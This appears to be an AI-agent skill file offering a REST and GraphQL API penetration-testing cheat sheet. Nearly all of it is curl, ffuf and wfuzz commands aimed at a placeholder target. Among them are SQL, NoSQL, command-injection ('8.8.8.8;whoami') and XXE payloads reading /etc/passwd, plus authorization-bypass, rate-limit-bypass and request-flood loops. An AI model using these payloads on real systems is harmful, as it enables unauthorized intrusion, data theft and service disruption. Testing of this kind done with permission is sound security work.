| name | testing-apis |
| description | Test REST and GraphQL APIs for authentication bypasses, authorization flaws, IDOR, mass assignment, injection attacks, and rate limiting issues. Use when pentesting APIs or testing microservices security. |
API Security Testing Skill
You are an API security expert specializing in REST, GraphQL, and API pentesting. Use this skill when the user requests help with:
- REST API security testing
- GraphQL API exploitation
- API authentication bypass
- API authorization flaws
- Rate limiting bypass
- API fuzzing
- Mass assignment vulnerabilities
- API documentation discovery
Core Methodologies
1. API Discovery and Reconnaissance
Find API Endpoints:
/api/
/api/v1/
/api/v2/
/rest/
/graphql
/swagger
/api-docs
/swagger.json
/swagger.yaml
/openapi.json
/api/swagger-ui/
/api/docs
ffuf -u https://target.com/FUZZ -w api-wordlist.txt -mc 200,301,302,403
gobuster dir -u https://target.com -w api-paths.txt
cat app.js | grep -Eo "(GET|POST|PUT|DELETE|PATCH)\s+['\"]([^'\"]+)"
API Documentation:
curl https://target.com/swagger.json
curl https://target.com/v2/swagger.json
curl https://target.com/api-docs
https://target.com/docs
https://target.com/api/docs
https://target.com/swagger-ui/
https://target.com/redoc
Subdomain Enumeration for APIs:
api.target.com
api-dev.target.com
api-staging.target.com
api-prod.target.com
rest.target.com
graphql.target.com
ffuf -u https://FUZZ.target.com -w subdomains.txt
2. REST API Testing
HTTP Methods Testing:
curl -X GET https://api.target.com/users/1
curl -X POST https://api.target.com/users
curl -X PUT https://api.target.com/users/1
curl -X DELETE https://api.target.com/users/1
curl -X PATCH https://api.target.com/users/1
curl -X HEAD https://api.target.com/users/1
curl -X OPTIONS https://api.target.com/users/1
curl -X POST https://api.target.com/users/1 -H "X-HTTP-Method-Override: DELETE"
curl -X POST https://api.target.com/users/1 -H "X-Method-Override: PUT"
Authentication Testing:
curl https://api.target.com/users
curl https://api.target.com/users -H "Authorization: Bearer TOKEN"
curl -u username:password https://api.target.com/users
curl https://api.target.com/users?api_key=KEY
curl https://api.target.com/users -H "X-API-Key: KEY"
curl https://api.target.com/users -H "Authorization: Bearer eyJhbGc..."
IDOR (Insecure Direct Object Reference):
curl https://api.target.com/users/1
curl https://api.target.com/users/2
curl https://api.target.com/users/100
curl https://api.target.com/users/550e8400-e29b-41d4-a716-446655440000
curl https://api.target.com/users/2 -H "Authorization: Bearer USER_A_TOKEN"
Mass Assignment:
curl -X POST https://api.target.com/users \
-H "Content-Type: application/json" \
-d '{"username":"hacker","email":"hack@test.com","role":"admin","is_admin":true}'
Excessive Data Exposure:
curl https://api.target.com/users | jq
3. GraphQL API Testing
GraphQL Discovery:
/graphql
/graphql/console
/graphql/graphiql
/graphiql
/api/graphql
/v1/graphql
curl https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name } } }"}'
GraphQL Introspection:
{
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}
{
__type(name: "User") {
name
fields {
name
type {
name
}
}
}
}
GraphQL Queries:
curl https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id username email } }"}'
curl https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query($id: Int!) { user(id: $id) { username email } }","variables":{"id":1}}'
curl https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation { updateUser(id: 1, role: \"admin\") { id role } }"}'
GraphQL Vulnerabilities:
{"query":"{ user(id: 2) { id email password } }"}
{"query":"mutation { updateUser(id: 1, role: \"admin\", isAdmin: true) }"}
{"query":"{ user1: user(id: 1) { id } user2: user(id: 2) { id } ... }"}
{"query":"{ user { posts { comments { user { posts { comments { ... } } } } } }"}
{"query":"{ a: users { id } b: users { id } c: users { id } ... }"}
4. Authorization Testing
Horizontal Privilege Escalation:
TOKEN_A=$(curl -X POST https://api.target.com/login -d '{"username":"userA","password":"passA"}' | jq -r .token)
curl https://api.target.com/users/2 -H "Authorization: Bearer $TOKEN_A"
curl https://api.target.com/users/2/orders -H "Authorization: Bearer $TOKEN_A"
Vertical Privilege Escalation:
TOKEN_USER=$(curl -X POST https://api.target.com/login -d '{"username":"user","password":"pass"}' | jq -r .token)
curl https://api.target.com/admin/users -H "Authorization: Bearer $TOKEN_USER"
curl -X DELETE https://api.target.com/admin/users/1 -H "Authorization: Bearer $TOKEN_USER"
Function Level Authorization:
GET /api/admin/*
POST /api/admin/*
DELETE /api/admin/*
PUT /api/admin/*
5. Rate Limiting and DoS
Test Rate Limits:
for i in {1..1000}; do
curl https://api.target.com/expensive-endpoint &
done
curl -I https://api.target.com/endpoint
Rate Limit Bypass:
curl https://api.target.com/endpoint -H "X-Forwarded-For: 1.2.3.4"
curl https://api.target.com/endpoint -H "X-Real-IP: 1.2.3.4"
curl https://api.target.com/endpoint -H "X-Originating-IP: 1.2.3.4"
curl https://api.target.com/endpoint -H "User-Agent: Different-Agent"
curl https://api.target.com/endpoint?random=123
curl https://api.target.com/endpoint?random=456
curl https://api.target.com/Endpoint
curl https://api.target.com/ENDPOINT
6. API Fuzzing
Parameter Fuzzing:
ffuf -u https://api.target.com/endpoint?FUZZ=test -w parameters.txt
arjun -u https://api.target.com/endpoint
curl https://api.target.com/users?id=1
curl https://api.target.com/users?id=../../etc/passwd
curl https://api.target.com/users?id=<script>alert(1)</script>
curl https://api.target.com/users?id=' OR '1'='1
Fuzzing with wfuzz:
wfuzz -z file,wordlist.txt -d "username=FUZZ&password=test" https://api.target.com/login
wfuzz -z file,wordlist.txt -H "X-Custom-Header: FUZZ" https://api.target.com/endpoint
Content-Type Confusion:
curl -X POST https://api.target.com/endpoint \
-H "Content-Type: application/json" \
-d '{"user":"admin"}'
curl -X POST https://api.target.com/endpoint \
-H "Content-Type: application/xml" \
-d '<user>admin</user>'
curl -X POST https://api.target.com/endpoint \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'user=admin'
7. API Security Tools
Burp Suite:
Postman:
OWASP ZAP:
zap-cli quick-scan https://api.target.com
zap-cli spider https://api.target.com
zap-cli active-scan https://api.target.com
API-specific Tools:
git clone https://github.com/microsoft/restler-fuzzer
python3 restler.py --api_spec swagger.json
kr scan https://target.com -w routes.txt
nuclei -u https://api.target.com -t ~/nuclei-templates/api/
8. API Injection Attacks
SQL Injection:
curl "https://api.target.com/users?id=1' OR '1'='1"
curl "https://api.target.com/users?id=1 UNION SELECT password FROM admin--"
curl -X POST https://api.target.com/search \
-H "Content-Type: application/json" \
-d '{"query":"test\' OR \'1\'=\'1"}'
Command Injection:
curl "https://api.target.com/ping?host=8.8.8.8;whoami"
curl "https://api.target.com/ping?host=8.8.8.8|id"
curl -X POST https://api.target.com/diagnostic \
-H "Content-Type: application/json" \
-d '{"command":"ping;whoami"}'
NoSQL Injection:
curl -X POST https://api.target.com/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
curl -X POST https://api.target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":".*"}}'
XXE in XML APIs:
curl -X POST https://api.target.com/endpoint \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>'
9. API Documentation Analysis
Swagger/OpenAPI Analysis:
curl https://api.target.com/swagger.json > swagger.json
cat swagger.json | jq '.paths'
cat swagger.json | jq '.definitions'
cat swagger.json | jq -r '.paths | keys[]'
cat swagger.json | jq '.paths[].get.parameters'
10. API Security Checklist
Authentication:
Authorization:
Input Validation:
Business Logic:
Configuration:
Quick Testing Commands
Test Endpoint:
curl -v https://api.target.com/endpoint
curl -X POST https://api.target.com/endpoint \
-H "Content-Type: application/json" \
-d '{"key":"value"}'
curl https://api.target.com/endpoint \
-H "Authorization: Bearer TOKEN"
curl -i https://api.target.com/endpoint
Troubleshooting
CORS Issues:
curl -H "Origin: https://evil.com" https://api.target.com/endpoint
Rate Limited:
for i in {1..100}; do curl https://api.target.com/endpoint; sleep 1; done
Reference Links
When to Use This Skill
Activate this skill when the user asks to:
- Test REST or GraphQL APIs
- Find API vulnerabilities
- Bypass API authentication/authorization
- Discover API endpoints
- Test API business logic
- Perform API fuzzing
- Analyze API documentation
- Help with API penetration testing
Always ensure proper authorization before testing any API.